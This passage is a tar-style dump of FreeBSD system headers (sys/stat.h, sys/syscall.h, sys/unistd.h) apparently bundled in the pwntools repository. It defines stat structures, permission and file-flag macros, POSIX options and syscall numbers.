TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)stat.h 8.12 (Berkeley) 6/16/95 * $FreeBSD$ */ #ifndef _SYS_STAT_H_ #define _SYS_STAT_H_ #include #include #include #ifndef _BLKSIZE_T_DECLARED typedef __blksize_t blksize_t; #define _BLKSIZE_T_DECLARED #endif #ifndef _BLKCNT_T_DECLARED typedef __blkcnt_t blkcnt_t; #define _BLKCNT_T_DECLARED #endif #ifndef _DEV_T_DECLARED typedef __dev_t dev_t; #define _DEV_T_DECLARED #endif #ifndef _FFLAGS_T_DECLARED typedef __fflags_t fflags_t; #define _FFLAGS_T_DECLARED #endif #ifndef _GID_T_DECLARED typedef __gid_t gid_t; #define _GID_T_DECLARED #endif #ifndef _INO_T_DECLARED typedef __ino_t ino_t; #define _INO_T_DECLARED #endif #ifndef _MODE_T_DECLARED typedef __mode_t mode_t; #define _MODE_T_DECLARED #endif #ifndef _NLINK_T_DECLARED typedef __nlink_t nlink_t; #define _NLINK_T_DECLARED #endif #ifndef _OFF_T_DECLARED typedef __off_t off_t; #define _OFF_T_DECLARED #endif #ifndef _UID_T_DECLARED typedef __uid_t uid_t; #define _UID_T_DECLARED #endif #if !defined(_KERNEL) && __BSD_VISIBLE /* * XXX We get miscellaneous namespace pollution with this. */ #include #endif #ifdef _KERNEL struct ostat { __uint16_t st_dev; /* inode's device */ ino_t st_ino; /* inode's number */ mode_t st_mode; /* inode protection mode */ nlink_t st_nlink; /* number of hard links */ __uint16_t st_uid; /* user ID of the file's owner */ __uint16_t st_gid; /* group ID of the file's group */ __uint16_t st_rdev; /* device type */ __int32_t st_size; /* file size, in bytes */ struct timespec st_atim; /* time of last access */ struct timespec st_mtim; /* time of last data modification */ struct timespec st_ctim; /* time of last file status change */ __int32_t st_blksize; /* optimal blocksize for I/O */ __int32_t st_blocks; /* blocks allocated for file */ fflags_t st_flags; /* user defined flags for file */ __uint32_t st_gen; /* file generation number */ }; #endif struct stat { __dev_t st_dev; /* inode's device */ ino_t st_ino; /* inode's number */ mode_t st_mode; /* inode protection mode */ nlink_t st_nlink; /* number of hard links */ uid_t st_uid; /* user ID of the file's owner */ gid_t st_gid; /* group ID of the file's group */ __dev_t st_rdev; /* device type */ struct timespec st_atim; /* time of last access */ struct timespec st_mtim; /* time of last data modification */ struct timespec st_ctim; /* time of last file status change */ off_t st_size; /* file size, in bytes */ blkcnt_t st_blocks; /* blocks allocated for file */ blksize_t st_blksize; /* optimal blocksize for I/O */ fflags_t st_flags; /* user defined flags for file */ __uint32_t st_gen; /* file generation number */ __int32_t st_lspare; struct timespec st_birthtim; /* time of file creation */ /* * Explicitly pad st_birthtim to 16 bytes so that the size of * struct stat is backwards compatible. We use bitfields instead * of an array of chars so that this doesn't require a C99 compiler * to compile if the size of the padding is 0. We use 2 bitfields * to cover up to 64 bits on 32-bit machines. We assume that * CHAR_BIT is 8... */ unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec)); unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec)); }; #ifdef _KERNEL struct nstat { __dev_t st_dev; /* inode's device */ ino_t st_ino; /* inode's number */ __uint32_t st_mode; /* inode protection mode */ __uint32_t st_nlink; /* number of hard links */ uid_t st_uid; /* user ID of the file's owner */ gid_t st_gid; /* group ID of the file's group */ __dev_t st_rdev; /* device type */ struct timespec st_atim; /* time of last access */ struct timespec st_mtim; /* time of last data modification */ struct timespec st_ctim; /* time of last file status change */ off_t st_size; /* file size, in bytes */ blkcnt_t st_blocks; /* blocks allocated for file */ blksize_t st_blksize; /* optimal blocksize for I/O */ fflags_t st_flags; /* user defined flags for file */ __uint32_t st_gen; /* file generation number */ struct timespec st_birthtim; /* time of file creation */ /* * See above about the following padding. */ unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec)); unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec)); }; #endif #ifndef _KERNEL #define st_atime st_atim.tv_sec #define st_mtime st_mtim.tv_sec #define st_ctime st_ctim.tv_sec #if __BSD_VISIBLE #define st_birthtime st_birthtim.tv_sec #endif /* For compatibility. */ #if __BSD_VISIBLE #define st_atimespec st_atim #define st_mtimespec st_mtim #define st_ctimespec st_ctim #define st_birthtimespec st_birthtim #endif #endif /* !_KERNEL */ #define S_ISUID 0004000 /* set user id on execution */ #define S_ISGID 0002000 /* set group id on execution */ #if __BSD_VISIBLE #define S_ISTXT 0001000 /* sticky bit */ #endif #define S_IRWXU 0000700 /* RWX mask for owner */ #define S_IRUSR 0000400 /* R for owner */ #define S_IWUSR 0000200 /* W for owner */ #define S_IXUSR 0000100 /* X for owner */ #if __BSD_VISIBLE #define S_IREAD S_IRUSR #define S_IWRITE S_IWUSR #define S_IEXEC S_IXUSR #endif #define S_IRWXG 0000070 /* RWX mask for group */ #define S_IRGRP 0000040 /* R for group */ #define S_IWGRP 0000020 /* W for group */ #define S_IXGRP 0000010 /* X for group */ #define S_IRWXO 0000007 /* RWX mask for other */ #define S_IROTH 0000004 /* R for other */ #define S_IWOTH 0000002 /* W for other */ #define S_IXOTH 0000001 /* X for other */ #if __XSI_VISIBLE #define S_IFMT 0170000 /* type of file mask */ #define S_IFIFO 0010000 /* named pipe (fifo) */ #define S_IFCHR 0020000 /* character special */ #define S_IFDIR 0040000 /* directory */ #define S_IFBLK 0060000 /* block special */ #define S_IFREG 0100000 /* regular */ #define S_IFLNK 0120000 /* symbolic link */ #define S_IFSOCK 0140000 /* socket */ #define S_ISVTX 0001000 /* save swapped text even after use */ #endif #if __BSD_VISIBLE #define S_IFWHT 0160000 /* whiteout */ #endif #define S_ISDIR(m) (((m) & 0170000) == 0040000) /* directory */ #define S_ISCHR(m) (((m) & 0170000) == 0020000) /* char special */ #define S_ISBLK(m) (((m) & 0170000) == 0060000) /* block special */ #define S_ISREG(m) (((m) & 0170000) == 0100000) /* regular file */ #define S_ISFIFO(m) (((m) & 0170000) == 0010000) /* fifo or socket */ #if __POSIX_VISIBLE >= 200112 #define S_ISLNK(m) (((m) & 0170000) == 0120000) /* symbolic link */ #define S_ISSOCK(m) (((m) & 0170000) == 0140000) /* socket */ #endif #if __BSD_VISIBLE #define S_ISWHT(m) (((m) & 0170000) == 0160000) /* whiteout */ #endif #if __BSD_VISIBLE #define ACCESSPERMS (S_IRWXU|S_IRWXG|S_IRWXO) /* 0777 */ /* 7777 */ #define ALLPERMS (S_ISUID|S_ISGID|S_ISTXT|S_IRWXU|S_IRWXG|S_IRWXO) /* 0666 */ #define DEFFILEMODE (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH) #define S_BLKSIZE 512 /* block size used in the stat struct */ /* * Definitions of flags stored in file flags word. * * Super-user and owner changeable flags. */ #define UF_SETTABLE 0x0000ffff /* mask of owner changeable flags */ #define UF_NODUMP 0x00000001 /* do not dump file */ #define UF_IMMUTABLE 0x00000002 /* file may not be changed */ #define UF_APPEND 0x00000004 /* writes to file may only append */ #define UF_OPAQUE 0x00000008 /* directory is opaque wrt. union */ #define UF_NOUNLINK 0x00000010 /* file may not be removed or renamed */ /* * Super-user changeable flags. */ #define SF_SETTABLE 0xffff0000 /* mask of superuser changeable flags */ #define SF_ARCHIVED 0x00010000 /* file is archived */ #define SF_IMMUTABLE 0x00020000 /* file may not be changed */ #define SF_APPEND 0x00040000 /* writes to file may only append */ #define SF_NOUNLINK 0x00100000 /* file may not be removed or renamed */ #define SF_SNAPSHOT 0x00200000 /* snapshot inode */ #ifdef _KERNEL /* * Shorthand abbreviations of above. */ #define OPAQUE (UF_OPAQUE) #define APPEND (UF_APPEND | SF_APPEND) #define IMMUTABLE (UF_IMMUTABLE | SF_IMMUTABLE) #define NOUNLINK (UF_NOUNLINK | SF_NOUNLINK) #endif #endif /* __BSD_VISIBLE */ #ifndef _KERNEL __BEGIN_DECLS #if __BSD_VISIBLE int chflags(const char *, unsigned long); #endif int chmod(const char *, mode_t); #if __BSD_VISIBLE int fchflags(int, unsigned long); #endif #if __POSIX_VISIBLE >= 200112 int fchmod(int, mode_t); #endif #if __POSIX_VISIBLE >= 200809 int fchmodat(int, const char *, mode_t, int); #endif int fstat(int, struct stat *); #if __BSD_VISIBLE int lchflags(const char *, int); int lchmod(const char *, mode_t); #endif #if __POSIX_VISIBLE >= 200112 int lstat(const char * __restrict, struct stat * __restrict); #endif int mkdir(const char *, mode_t); int mkfifo(const char *, mode_t); #if !defined(_MKNOD_DECLARED) && __XSI_VISIBLE int mknod(const char *, mode_t, dev_t); #define _MKNOD_DECLARED #endif int stat(const char * __restrict, struct stat * __restrict); mode_t umask(mode_t); #if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809 int fstatat(int, const char *, struct stat *, int); int mkdirat(int, const char *, mode_t); int mkfifoat(int, const char *, mode_t); #endif #if __BSD_VISIBLE || __XSI_VISIBLE >= 700 int mknodat(int, const char *, mode_t, dev_t); #endif __END_DECLS #endif /* !_KERNEL */ #endif /* !_SYS_STAT_H_ */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/syscall.h000066400000000000000000000273551507273764500302710ustar00rootroot00000000000000/* * System call numbers. * * DO NOT EDIT-- this file is automatically generated. * $FreeBSD$ * created from FreeBSD: stable/9/sys/kern/syscalls.master 251051 2013-05-28 05:51:00Z kib */ #define SYS_syscall 0 #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_wait4 7 /* 8 is old creat */ #define SYS_link 9 #define SYS_unlink 10 /* 11 is obsolete execv */ #define SYS_chdir 12 #define SYS_fchdir 13 #define SYS_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_break 17 #define SYS_freebsd4_getfsstat 18 /* 19 is old lseek */ #define SYS_getpid 20 #define SYS_mount 21 #define SYS_unmount 22 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_geteuid 25 #define SYS_ptrace 26 #define SYS_recvmsg 27 #define SYS_sendmsg 28 #define SYS_recvfrom 29 #define SYS_accept 30 #define SYS_getpeername 31 #define SYS_getsockname 32 #define SYS_access 33 #define SYS_chflags 34 #define SYS_fchflags 35 #define SYS_sync 36 #define SYS_kill 37 /* 38 is old stat */ #define SYS_getppid 39 /* 40 is old lstat */ #define SYS_dup 41 #define SYS_pipe 42 #define SYS_getegid 43 #define SYS_profil 44 #define SYS_ktrace 45 /* 46 is old sigaction */ #define SYS_getgid 47 /* 48 is old sigprocmask */ #define SYS_getlogin 49 #define SYS_setlogin 50 #define SYS_acct 51 /* 52 is old sigpending */ #define SYS_sigaltstack 53 #define SYS_ioctl 54 #define SYS_reboot 55 #define SYS_revoke 56 #define SYS_symlink 57 #define SYS_readlink 58 #define SYS_execve 59 #define SYS_umask 60 #define SYS_chroot 61 /* 62 is old fstat */ /* 63 is old getkerninfo */ /* 64 is old getpagesize */ #define SYS_msync 65 #define SYS_vfork 66 /* 67 is obsolete vread */ /* 68 is obsolete vwrite */ #define SYS_sbrk 69 #define SYS_sstk 70 /* 71 is old mmap */ #define SYS_vadvise 72 #define SYS_munmap 73 #define SYS_mprotect 74 #define SYS_madvise 75 /* 76 is obsolete vhangup */ /* 77 is obsolete vlimit */ #define SYS_mincore 78 #define SYS_getgroups 79 #define SYS_setgroups 80 #define SYS_getpgrp 81 #define SYS_setpgid 82 #define SYS_setitimer 83 /* 84 is old wait */ #define SYS_swapon 85 #define SYS_getitimer 86 /* 87 is old gethostname */ /* 88 is old sethostname */ #define SYS_getdtablesize 89 #define SYS_dup2 90 #define SYS_fcntl 92 #define SYS_select 93 #define SYS_fsync 95 #define SYS_setpriority 96 #define SYS_socket 97 #define SYS_connect 98 /* 99 is old accept */ #define SYS_getpriority 100 /* 101 is old send */ /* 102 is old recv */ /* 103 is old sigreturn */ #define SYS_bind 104 #define SYS_setsockopt 105 #define SYS_listen 106 /* 107 is obsolete vtimes */ /* 108 is old sigvec */ /* 109 is old sigblock */ /* 110 is old sigsetmask */ /* 111 is old sigsuspend */ /* 112 is old sigstack */ /* 113 is old recvmsg */ /* 114 is old sendmsg */ /* 115 is obsolete vtrace */ #define SYS_gettimeofday 116 #define SYS_getrusage 117 #define SYS_getsockopt 118 #define SYS_readv 120 #define SYS_writev 121 #define SYS_settimeofday 122 #define SYS_fchown 123 #define SYS_fchmod 124 /* 125 is old recvfrom */ #define SYS_setreuid 126 #define SYS_setregid 127 #define SYS_rename 128 /* 129 is old truncate */ /* 130 is old ftruncate */ #define SYS_flock 131 #define SYS_mkfifo 132 #define SYS_sendto 133 #define SYS_shutdown 134 #define SYS_socketpair 135 #define SYS_mkdir 136 #define SYS_rmdir 137 #define SYS_utimes 138 /* 139 is obsolete 4.2 sigreturn */ #define SYS_adjtime 140 /* 141 is old getpeername */ /* 142 is old gethostid */ /* 143 is old sethostid */ /* 144 is old getrlimit */ /* 145 is old setrlimit */ /* 146 is old killpg */ #define SYS_setsid 147 #define SYS_quotactl 148 /* 149 is old quota */ /* 150 is old getsockname */ #define SYS_nlm_syscall 154 #define SYS_nfssvc 155 /* 156 is old getdirentries */ #define SYS_freebsd4_statfs 157 #define SYS_freebsd4_fstatfs 158 #define SYS_lgetfh 160 #define SYS_getfh 161 #define SYS_freebsd4_getdomainname 162 #define SYS_freebsd4_setdomainname 163 #define SYS_freebsd4_uname 164 #define SYS_sysarch 165 #define SYS_rtprio 166 #define SYS_semsys 169 #define SYS_msgsys 170 #define SYS_shmsys 171 #define SYS_freebsd6_pread 173 #define SYS_freebsd6_pwrite 174 #define SYS_setfib 175 #define SYS_ntp_adjtime 176 #define SYS_setgid 181 #define SYS_setegid 182 #define SYS_seteuid 183 #define SYS_stat 188 #define SYS_fstat 189 #define SYS_lstat 190 #define SYS_pathconf 191 #define SYS_fpathconf 192 #define SYS_getrlimit 194 #define SYS_setrlimit 195 #define SYS_getdirentries 196 #define SYS_freebsd6_mmap 197 #define SYS___syscall 198 #define SYS_freebsd6_lseek 199 #define SYS_freebsd6_truncate 200 #define SYS_freebsd6_ftruncate 201 #define SYS___sysctl 202 #define SYS_mlock 203 #define SYS_munlock 204 #define SYS_undelete 205 #define SYS_futimes 206 #define SYS_getpgid 207 #define SYS_poll 209 #define SYS_freebsd7___semctl 220 #define SYS_semget 221 #define SYS_semop 222 #define SYS_freebsd7_msgctl 224 #define SYS_msgget 225 #define SYS_msgsnd 226 #define SYS_msgrcv 227 #define SYS_shmat 228 #define SYS_freebsd7_shmctl 229 #define SYS_shmdt 230 #define SYS_shmget 231 #define SYS_clock_gettime 232 #define SYS_clock_settime 233 #define SYS_clock_getres 234 #define SYS_ktimer_create 235 #define SYS_ktimer_delete 236 #define SYS_ktimer_settime 237 #define SYS_ktimer_gettime 238 #define SYS_ktimer_getoverrun 239 #define SYS_nanosleep 240 #define SYS_ntp_gettime 248 #define SYS_minherit 250 #define SYS_rfork 251 #define SYS_openbsd_poll 252 #define SYS_issetugid 253 #define SYS_lchown 254 #define SYS_aio_read 255 #define SYS_aio_write 256 #define SYS_lio_listio 257 #define SYS_getdents 272 #define SYS_lchmod 274 #define SYS_netbsd_lchown 275 #define SYS_lutimes 276 #define SYS_netbsd_msync 277 #define SYS_nstat 278 #define SYS_nfstat 279 #define SYS_nlstat 280 #define SYS_preadv 289 #define SYS_pwritev 290 #define SYS_freebsd4_fhstatfs 297 #define SYS_fhopen 298 #define SYS_fhstat 299 #define SYS_modnext 300 #define SYS_modstat 301 #define SYS_modfnext 302 #define SYS_modfind 303 #define SYS_kldload 304 #define SYS_kldunload 305 #define SYS_kldfind 306 #define SYS_kldnext 307 #define SYS_kldstat 308 #define SYS_kldfirstmod 309 #define SYS_getsid 310 #define SYS_setresuid 311 #define SYS_setresgid 312 /* 313 is obsolete signanosleep */ #define SYS_aio_return 314 #define SYS_aio_suspend 315 #define SYS_aio_cancel 316 #define SYS_aio_error 317 #define SYS_oaio_read 318 #define SYS_oaio_write 319 #define SYS_olio_listio 320 #define SYS_yield 321 /* 322 is obsolete thr_sleep */ /* 323 is obsolete thr_wakeup */ #define SYS_mlockall 324 #define SYS_munlockall 325 #define SYS___getcwd 326 #define SYS_sched_setparam 327 #define SYS_sched_getparam 328 #define SYS_sched_setscheduler 329 #define SYS_sched_getscheduler 330 #define SYS_sched_yield 331 #define SYS_sched_get_priority_max 332 #define SYS_sched_get_priority_min 333 #define SYS_sched_rr_get_interval 334 #define SYS_utrace 335 #define SYS_freebsd4_sendfile 336 #define SYS_kldsym 337 #define SYS_jail 338 #define SYS_nnpfs_syscall 339 #define SYS_sigprocmask 340 #define SYS_sigsuspend 341 #define SYS_freebsd4_sigaction 342 #define SYS_sigpending 343 #define SYS_freebsd4_sigreturn 344 #define SYS_sigtimedwait 345 #define SYS_sigwaitinfo 346 #define SYS___acl_get_file 347 #define SYS___acl_set_file 348 #define SYS___acl_get_fd 349 #define SYS___acl_set_fd 350 #define SYS___acl_delete_file 351 #define SYS___acl_delete_fd 352 #define SYS___acl_aclcheck_file 353 #define SYS___acl_aclcheck_fd 354 #define SYS_extattrctl 355 #define SYS_extattr_set_file 356 #define SYS_extattr_get_file 357 #define SYS_extattr_delete_file 358 #define SYS_aio_waitcomplete 359 #define SYS_getresuid 360 #define SYS_getresgid 361 #define SYS_kqueue 362 #define SYS_kevent 363 #define SYS_extattr_set_fd 371 #define SYS_extattr_get_fd 372 #define SYS_extattr_delete_fd 373 #define SYS___setugid 374 #define SYS_eaccess 376 #define SYS_afs3_syscall 377 #define SYS_nmount 378 #define SYS___mac_get_proc 384 #define SYS___mac_set_proc 385 #define SYS___mac_get_fd 386 #define SYS___mac_get_file 387 #define SYS___mac_set_fd 388 #define SYS___mac_set_file 389 #define SYS_kenv 390 #define SYS_lchflags 391 #define SYS_uuidgen 392 #define SYS_sendfile 393 #define SYS_mac_syscall 394 #define SYS_getfsstat 395 #define SYS_statfs 396 #define SYS_fstatfs 397 #define SYS_fhstatfs 398 #define SYS_ksem_close 400 #define SYS_ksem_post 401 #define SYS_ksem_wait 402 #define SYS_ksem_trywait 403 #define SYS_ksem_init 404 #define SYS_ksem_open 405 #define SYS_ksem_unlink 406 #define SYS_ksem_getvalue 407 #define SYS_ksem_destroy 408 #define SYS___mac_get_pid 409 #define SYS___mac_get_link 410 #define SYS___mac_set_link 411 #define SYS_extattr_set_link 412 #define SYS_extattr_get_link 413 #define SYS_extattr_delete_link 414 #define SYS___mac_execve 415 #define SYS_sigaction 416 #define SYS_sigreturn 417 #define SYS_getcontext 421 #define SYS_setcontext 422 #define SYS_swapcontext 423 #define SYS_swapoff 424 #define SYS___acl_get_link 425 #define SYS___acl_set_link 426 #define SYS___acl_delete_link 427 #define SYS___acl_aclcheck_link 428 #define SYS_sigwait 429 #define SYS_thr_create 430 #define SYS_thr_exit 431 #define SYS_thr_self 432 #define SYS_thr_kill 433 #define SYS__umtx_lock 434 #define SYS__umtx_unlock 435 #define SYS_jail_attach 436 #define SYS_extattr_list_fd 437 #define SYS_extattr_list_file 438 #define SYS_extattr_list_link 439 #define SYS_ksem_timedwait 441 #define SYS_thr_suspend 442 #define SYS_thr_wake 443 #define SYS_kldunloadf 444 #define SYS_audit 445 #define SYS_auditon 446 #define SYS_getauid 447 #define SYS_setauid 448 #define SYS_getaudit 449 #define SYS_setaudit 450 #define SYS_getaudit_addr 451 #define SYS_setaudit_addr 452 #define SYS_auditctl 453 #define SYS__umtx_op 454 #define SYS_thr_new 455 #define SYS_sigqueue 456 #define SYS_kmq_open 457 #define SYS_kmq_setattr 458 #define SYS_kmq_timedreceive 459 #define SYS_kmq_timedsend 460 #define SYS_kmq_notify 461 #define SYS_kmq_unlink 462 #define SYS_abort2 463 #define SYS_thr_set_name 464 #define SYS_aio_fsync 465 #define SYS_rtprio_thread 466 #define SYS_sctp_peeloff 471 #define SYS_sctp_generic_sendmsg 472 #define SYS_sctp_generic_sendmsg_iov 473 #define SYS_sctp_generic_recvmsg 474 #define SYS_pread 475 #define SYS_pwrite 476 #define SYS_mmap 477 #define SYS_lseek 478 #define SYS_truncate 479 #define SYS_ftruncate 480 #define SYS_thr_kill2 481 #define SYS_shm_open 482 #define SYS_shm_unlink 483 #define SYS_cpuset 484 #define SYS_cpuset_setid 485 #define SYS_cpuset_getid 486 #define SYS_cpuset_getaffinity 487 #define SYS_cpuset_setaffinity 488 #define SYS_faccessat 489 #define SYS_fchmodat 490 #define SYS_fchownat 491 #define SYS_fexecve 492 #define SYS_fstatat 493 #define SYS_futimesat 494 #define SYS_linkat 495 #define SYS_mkdirat 496 #define SYS_mkfifoat 497 #define SYS_mknodat 498 #define SYS_openat 499 #define SYS_readlinkat 500 #define SYS_renameat 501 #define SYS_symlinkat 502 #define SYS_unlinkat 503 #define SYS_posix_openpt 504 #define SYS_gssd_syscall 505 #define SYS_jail_get 506 #define SYS_jail_set 507 #define SYS_jail_remove 508 #define SYS_closefrom 509 #define SYS___semctl 510 #define SYS_msgctl 511 #define SYS_shmctl 512 #define SYS_lpathconf 513 #define SYS_cap_new 514 #define SYS_cap_getrights 515 #define SYS_cap_enter 516 #define SYS_cap_getmode 517 #define SYS_pdfork 518 #define SYS_pdkill 519 #define SYS_pdgetpid 520 #define SYS_pselect 522 #define SYS_getloginclass 523 #define SYS_setloginclass 524 #define SYS_rctl_get_racct 525 #define SYS_rctl_get_rules 526 #define SYS_rctl_get_limits 527 #define SYS_rctl_add_rule 528 #define SYS_rctl_remove_rule 529 #define SYS_posix_fallocate 530 #define SYS_posix_fadvise 531 #define SYS_wait6 532 #define SYS_MAXSYSCALL 533 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/time.h000066400000000000000000000000001507273764500275270ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/freebsd/sys/unistd.h000066400000000000000000000163431507273764500301200ustar00rootroot00000000000000/*- * Copyright (c) 1989, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)unistd.h 8.2 (Berkeley) 1/7/94 * $FreeBSD$ */ #ifndef _SYS_UNISTD_H_ #define _SYS_UNISTD_H_ #include /* * POSIX options and option groups we unconditionally do or don't * implement. Those options which are implemented (or not) entirely * in user mode are defined in . Please keep this list in * alphabetical order. * * Anything which is defined as zero below **must** have an * implementation for the corresponding sysconf() which is able to * determine conclusively whether or not the feature is supported. * Anything which is defined as other than -1 below **must** have * complete headers, types, and function declarations as specified by * the POSIX standard; however, if the relevant sysconf() function * returns -1, the functions may be stubbed out. */ #define _POSIX_ADVISORY_INFO 200112L #define _POSIX_ASYNCHRONOUS_IO 0 #define _POSIX_CHOWN_RESTRICTED 1 #define _POSIX_CLOCK_SELECTION (-1) #define _POSIX_CPUTIME (-1) #define _POSIX_FSYNC 200112L #define _POSIX_IPV6 0 #define _POSIX_JOB_CONTROL 1 #define _POSIX_MAPPED_FILES 200112L #define _POSIX_MEMLOCK (-1) #define _POSIX_MEMLOCK_RANGE 200112L #define _POSIX_MEMORY_PROTECTION 200112L #define _POSIX_MESSAGE_PASSING 200112L #define _POSIX_MONOTONIC_CLOCK 200112L #define _POSIX_NO_TRUNC 1 #define _POSIX_PRIORITIZED_IO (-1) #define _POSIX_PRIORITY_SCHEDULING 200112L #define _POSIX_RAW_SOCKETS 200112L #define _POSIX_REALTIME_SIGNALS 200112L #define _POSIX_SEMAPHORES 200112L #define _POSIX_SHARED_MEMORY_OBJECTS 200112L #define _POSIX_SPORADIC_SERVER (-1) #define _POSIX_SYNCHRONIZED_IO (-1) #define _POSIX_TIMEOUTS 200112L #define _POSIX_TIMERS 200112L #define _POSIX_TYPED_MEMORY_OBJECTS (-1) #define _POSIX_VDISABLE 0xff #if __XSI_VISIBLE #define _XOPEN_SHM 1 #define _XOPEN_STREAMS (-1) #endif /* * Although we have saved user/group IDs, we do not use them in setuid * as described in POSIX 1003.1, because the feature does not work for * root. We use the saved IDs in seteuid/setegid, which are not currently * part of the POSIX 1003.1 specification. XXX revisit for 1003.1-2001 * as this is now mandatory. */ #ifdef _NOT_AVAILABLE #define _POSIX_SAVED_IDS 1 /* saved set-user-ID and set-group-ID */ #endif /* Define the POSIX.1 version we target for compliance. */ #define _POSIX_VERSION 200112L /* access function */ #define F_OK 0 /* test for existence of file */ #define X_OK 0x01 /* test for execute or search permission */ #define W_OK 0x02 /* test for write permission */ #define R_OK 0x04 /* test for read permission */ /* whence values for lseek(2) */ #ifndef SEEK_SET #define SEEK_SET 0 /* set file offset to offset */ #define SEEK_CUR 1 /* set file offset to current plus offset */ #define SEEK_END 2 /* set file offset to EOF plus offset */ #endif #if __BSD_VISIBLE #define SEEK_DATA 3 /* set file offset to next data past offset */ #define SEEK_HOLE 4 /* set file offset to next hole past offset */ #endif #ifndef _POSIX_SOURCE /* whence values for lseek(2); renamed by POSIX 1003.1 */ #define L_SET SEEK_SET #define L_INCR SEEK_CUR #define L_XTND SEEK_END #endif /* configurable pathname variables */ #define _PC_LINK_MAX 1 #define _PC_MAX_CANON 2 #define _PC_MAX_INPUT 3 #define _PC_NAME_MAX 4 #define _PC_PATH_MAX 5 #define _PC_PIPE_BUF 6 #define _PC_CHOWN_RESTRICTED 7 #define _PC_NO_TRUNC 8 #define _PC_VDISABLE 9 #if __POSIX_VISIBLE >= 199309 #define _PC_ASYNC_IO 53 #define _PC_PRIO_IO 54 #define _PC_SYNC_IO 55 #endif #if __POSIX_VISIBLE >= 200112 #define _PC_ALLOC_SIZE_MIN 10 #define _PC_FILESIZEBITS 12 #define _PC_REC_INCR_XFER_SIZE 14 #define _PC_REC_MAX_XFER_SIZE 15 #define _PC_REC_MIN_XFER_SIZE 16 #define _PC_REC_XFER_ALIGN 17 #define _PC_SYMLINK_MAX 18 #endif #if __BSD_VISIBLE #define _PC_ACL_EXTENDED 59 #define _PC_ACL_PATH_MAX 60 #define _PC_CAP_PRESENT 61 #define _PC_INF_PRESENT 62 #define _PC_MAC_PRESENT 63 #define _PC_ACL_NFS4 64 #endif /* From OpenSolaris, used by SEEK_DATA/SEEK_HOLE. */ #define _PC_MIN_HOLE_SIZE 21 #if __BSD_VISIBLE /* * rfork() options. * * XXX currently, some operations without RFPROC set are not supported. */ #define RFNAMEG (1<<0) /* UNIMPL new plan9 `name space' */ #define RFENVG (1<<1) /* UNIMPL copy plan9 `env space' */ #define RFFDG (1<<2) /* copy fd table */ #define RFNOTEG (1<<3) /* UNIMPL create new plan9 `note group' */ #define RFPROC (1<<4) /* change child (else changes curproc) */ #define RFMEM (1<<5) /* share `address space' */ #define RFNOWAIT (1<<6) /* give child to init */ #define RFCNAMEG (1<<10) /* UNIMPL zero plan9 `name space' */ #define RFCENVG (1<<11) /* UNIMPL zero plan9 `env space' */ #define RFCFDG (1<<12) /* close all fds, zero fd table */ #define RFTHREAD (1<<13) /* enable kernel thread support */ #define RFSIGSHARE (1<<14) /* share signal handlers */ #define RFLINUXTHPN (1<<16) /* do linux clone exit parent notification */ #define RFSTOPPED (1<<17) /* leave child in a stopped state */ #define RFHIGHPID (1<<18) /* use a pid higher than 10 (idleproc) */ #define RFTSIGZMB (1<<19) /* select signal for exit parent notification */ #define RFTSIGSHIFT 20 /* selected signal number is in bits 20-27 */ #define RFTSIGMASK 0xFF #define RFTSIGNUM(flags) (((flags) >> RFTSIGSHIFT) & RFTSIGMASK) #define RFTSIGFLAGS(signum) ((signum) << RFTSIGSHIFT) #define RFPROCDESC (1<<28) /* return a process descriptor */ #define RFPPWAIT (1<<31) /* parent sleeps until child exits (vfork) */ #define RFFLAGS (RFFDG | RFPROC | RFMEM | RFNOWAIT | RFCFDG | \ RFTHREAD | RFSIGSHARE | RFLINUXTHPN | RFSTOPPED | RFHIGHPID | RFTSIGZMB | \ RFPROCDESC | RFPPWAIT) #define RFKERNELONLY (RFSTOPPED | RFHIGHPID | RFPPWAIT | RFPROCDESC) #endif /* __BSD_VISIBLE */ #endif /* !_SYS_UNISTD_H_ */ 